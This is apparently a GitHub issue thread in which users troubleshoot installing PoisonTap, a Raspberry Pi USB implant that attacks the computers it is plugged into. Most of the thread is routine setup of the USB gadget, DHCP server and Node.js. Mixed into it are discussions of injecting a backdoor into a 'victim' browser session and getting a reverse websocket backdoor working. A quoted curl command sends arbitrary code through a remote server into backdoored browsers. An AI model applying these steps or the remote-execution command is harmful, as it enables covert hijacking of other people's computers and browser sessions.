Installation - problems to get started

[tomnick]

Hi, I installed everything so far and getting the following errors:

/home/pi/poisontap/pi_startup.sh: 8: cd: can't cd to /sys/kernel/config/usb_gadget/ ln: failed to create symbolic link ‘configs/c.1/acm.usb0’: File exists ln: failed to create symbolic link ‘configs/c.1/ecm.usb0’: File exists ls: cannot access /sys/class/udc: No such file or directory Ignoring unknown interface usb0=usb0. usb0: ERROR while getting interface flags: No such device SIOCADDRT: No such device [....] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.serviceJob for isc-dhcp-server.service failed. See 'systemctl status isc-dhcp-server.service' and 'journalctl -xn' for details. failed! net.ipv4.ip_forward = 1

systemctl status isc-dhcp-server.service:

isc-dhcp-server.service - LSB: DHCP server Loaded: loaded (/etc/init.d/isc-dhcp-server) Active: failed (Result: exit-code) since Fri 2016-11-18 16:21:50 UTC; 22s ago Process: 3556 ExecStart=/etc/init.d/isc-dhcp-server start (code=exited, status=1/FAILURE)

Any idea what could be wrong?

Hmm, there may be some initial setup that I forgot to cover -- check the modular section here: https://gist.github.com/gbaman/50b6cca61dd1c3f88f41

[samyk]

Also, dsniff (which contains dnsspoof), screen, node.js, and dhcpd need to be installed (via apt-get should be fine)

[jr-k]

@samyk And what is the dhcpd.conf configuration ? I tried but the adapter gives to the user a 169.254.X.X address automatically...

[extrapaint]

I recommend splitting pi_startup.sh into a pi_config.sh and a bash script which is run on startup. Also, you can add these lines to a config script to setup the pi as a usb gadget and install dependancies:

echo "dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_ether" > /boot/cmdline.txt echo "" >> /boot/config.txt echo "dtoverlay=dwc2" >> /boot/config.txt apt-get update && apt-get upgrade apt-get install dsniff isc-dhcp-server nodejs screen

I'm unsure exactly which package you use for the dhcp server- apt-get installs udhcpd when trying to install dhcpd. Also, there is a package node as well as a package nodejs.

The main issue I'm facing is the dhcp server daemon fails to start-- obviously we listen for dhcp requests on usb0, but I haven't deduced the scope yet.

[samyk]

@jreziga Added dhcpd.conf in 838a0353c606cc815b26e290e8347a08e18312ba

[samyk]

@tomnick With @foreverrising's instructions and 838a0353c606cc815b26e290e8347a08e18312ba do things work properly for you?

[samyk]

I've also added some additional installation instructions in 26dd7818a8f74daa81e156a106cde8fffdc19004

[jr-k]

There are still issues on my side.

(Auto-assigned IP)

(IP address and mask)

DHCP server can't start well not much informations on log...

dhcpd.conf is the same you just provided

Still troubleshooting I'll post here if I find smthg

[samyk]

Ah, also need to set the IP up: echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces Then reboot and test

[jr-k]

@samyk I was writing a post to ask your /etc/network/interfaces file, nice move ;)

Edit: Alright it worked !

[extrapaint]

I used /etc/dhcpd.conf for the static IP. Does editing the interfaces file work for you?

@foreverrising dhcpd.conf goes inside /etc/dhcp/dhcpd.conf and not in /etc/dhcpd.conf

Plus you need to run echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces (try logged as root, I was unable to do this with that one line command using sudo)

And yes it worked.

@samyk I'm playing with it now. I'm still having some questions like :

• If the victim has on his browser "nfl.com" opened. Is it working directly when you plug the Rpi ? Or do the user need to refresh the page on his browser ? (It seems like the 1st scenario isn't working or am I doing smthg wrong ?).

Edit: Solved. No refresh needed just patience for this one :D (but still the reverse websocket issue :c )

Also I've setup my server with port 1337 wide open but I can't get any reverse websocket connection. In the Rpi logs I see that backdoor.html is injected

>>> Inject Backdoor HTML reverse ws 1337

But nothing on the node server console output

Edit: Solved. My bad "Remotely Accessible Web-Based Backdoors" is available only for CDN js files included in webpages

I'll try again with a sudo su -. What does ip a show with the static (set with the interfaces file)?

NFL.com seemed to reload every minute or so, I think it was chosen for the example for this reason. I haven't looked at the source and meta tags for the site though.

Also, I don't use newline characters in an echo command. Just habit for me.

@foreverrising I've made a small installation guide. Check at the bottom of this page: https://github.com/jreziga/poisontap/blob/068c2836deb61b150946acf3395ccf11eb3b3ad1/README.md

[tomnick]

Alright, mine is running now like a charme... is there any instruction on how to use the tools like backend_server.js or how to access remotely etc?

[JonathanNathanson]

@tomnick backend_server.js is a pretty simple script, if you read it you should be able to see how it works. I've not got anything open right now but I'm pretty sure you can just do a http request to:

yourserver.com:port/exec?your_code_here

See Samy's examples in the readme:

curl 'http://samy.pl:1337/exec?alert("muahahahaha")'

[samyk]

Also note the backdoor has jQuery built in so you have full access to jQuery functionality

[tomnick]

Which websocket library is the project based on?

[samyk]

https://www.npmjs.com/package/websocket

[tomnick]

Getting this error on my server trying to install in the directory "poisontap" with the "backend_server.js" file included only:

npm

install websocket

websocket@1.0.23 install /root/node_modules/websocket (node-gyp rebuild 2> builderror.log) || (exit 0)

/root ├── nodejs-websocket@1.7.1 └── websocket@1.0.23

npm WARN enoent ENOENT: no such file or directory, open '/root/package.json' npm WARN root No description npm WARN root No repository field. npm WARN root No README data npm WARN root No license field.

[samyk]

Try: sudo npm -g install websocket

Also, make sure you're on Node v6.

[tomnick]

This is it...working...thanks a lot...

[extrapaint]

Should add package npm to the apt-get line of the script and a npm -g websocket line as well.

[JonathanNathanson]

Worth noting that the ReadMe says that NodeJS may already be installed. Yes, it is, but a very old version (0.10.29??) so you need to install this v6.

First you need to remove all references to the current version 👍 sudo apt-get remove nodered -y sudo apt-get remove nodejs nodejs-legacy -y sudo apt-get remove npm -y

then:

wget https://nodejs.org/dist/latest-v6.x/node-v6.9.1-linux-armv6l.tar.gz tar -xvf node-v6.9.1-linux-armv6l.tar.gz cd node-v6.9.1-linux-armv6l sudo cp -R * /usr/local/ sudo reboot

Now you have an updated version of Node that will run just fine.

[tomnick]

Did exact what you wrote and the results after reboot are:

node -v The program 'node' is currently not installed. You can install it by typing: apt install nodejs-legacy

So after I did intall nodejs-legacy:

node -v v4.2.6

No v6!

[JonathanNathanson]

I've just reformatted so that it's obvious that each is a seperate command, can't just copy and paste the whole line...

Pretty sure you need v6 and up.

[tomnick]

Which directory to unpack the top Alexa?

[cksj]

ln: failed to create symbolic link ‘configs/c.1/acm.usb0’: File exists sh: echo: I/O error sh: echo: I/O error ln: failed to create symbolic link ‘configs/c.1/ecm.usb0’: File exists ls: write error: Device or resource busy ifup: interface usb0 already configured SIOCADDRT: File exists [ ok ] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.service. net.ipv4.ip_forward = 1
